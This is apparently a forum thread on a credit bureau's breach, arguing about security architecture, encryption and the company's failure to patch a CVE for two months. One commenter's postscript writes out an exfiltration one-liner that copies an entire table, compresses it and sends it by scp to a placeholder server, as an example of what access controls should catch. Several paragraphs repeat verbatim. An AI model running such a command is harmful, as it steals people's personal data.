> This is how it works at almost every company. Call it horrible if you want, but everyone stops short of describing in detail the exact architectural replacement. And when someone does, it inevitably has flaws that make it impossible to meet business goals.
No, it's not how almost every company works, and yes it IS horrible. Do you know why people stop short of giving details of what should have been done? Because that is a full time job for a entire team of people in any place that needs real security, and part of that job is to be constantly rooting out flaws in both design and implementation and fixing them. And guess what, if your business involves storing and retrieving sensitive personal information on millions of people, then security needs to be one of your business goals. If it is not, then that is negligent.
> It's too easy to handwave this away as "well, get a better architecture." Everyone knows that; the hard part is, what architecture? How does your architecture work in practice?
It is also easy to handwave away the real work that real security professionals do. Security is not a just some module you can strap into your systems, it is an ongoing process that requires vigilance and competence. Yes it is hard, but being hard is not an excuse
> Encrypting items won't help when the keys need to be stored in the same place to access the data. The attackers will just go after that box instead of the DB. You can guard it more carefully, but the point is that some box somewhere needs access to a substantial amount of the data at any given time. It's the nature of a credit bureau.
So you are implying that data encryption is not useful for protecting sensitive data because you have to store the keys somewhere. If that were the case then data encryption in general would be useless, we know that is not the case. This is a design or implementation problem, not an encryption problem.
It's frustrating how people seem not to think it's wildly, ludicrously incompetent for nothing in your architecture to complain about your front end servers querying 140m records. The fact they don't have even the most basic data access controls in place make me assume they're still fully owned.
You're playing IT if you can't deploy a CVE fix in 60 days.
Finally, they only did this because of greed. They encourage online disputes because it saves them money and gives them greater rights vis-a-vis paper disputes delivered to them via snail mail. They could simply have taken the service down if if they couldn't deploy a security patch in two months.
Amateur hour everywhere.
ps -- the data controls I mentioned above were implemented in a company of ~15 eng dealing with similar PII. If you owned front end servers you could query individual records, but you would have to own more services to be able to "\copy (select * from data) to /legit.file; gzip /legit.file; scp /legit.file.gz $MY_SERVER". And if you tried pagers would have gone off all over the company.
No, it's not how almost every company works, and yes it IS horrible. Do you know why people stop short of giving details of what should have been done? Because that is a full time job for a entire team of people in any place that needs real security, and part of that job is to be constantly rooting out flaws in both design and implementation and fixing them. And guess what, if your business involves storing and retrieving sensitive personal information on millions of people, then security needs to be one of your business goals. If it is not, then that is negligent.
> It's too easy to handwave this away as "well, get a better architecture." Everyone knows that; the hard part is, what architecture? How does your architecture work in practice?
It is also easy to handwave away the real work that real security professionals do. Security is not a just some module you can strap into your systems, it is an ongoing process that requires vigilance and competence. Yes it is hard, but being hard is not an excuse
> Encrypting items won't help when the keys need to be stored in the same place to access the data. The attackers will just go after that box instead of the DB. You can guard it more carefully, but the point is that some box somewhere needs access to a substantial amount of the data at any given time. It's the nature of a credit bureau.
So you are implying that data encryption is not useful for protecting sensitive data because you have to store the keys somewhere. If that were the case then data encryption in general would be useless, we know that is not the case. This is a design or implementation problem, not an encryption problem.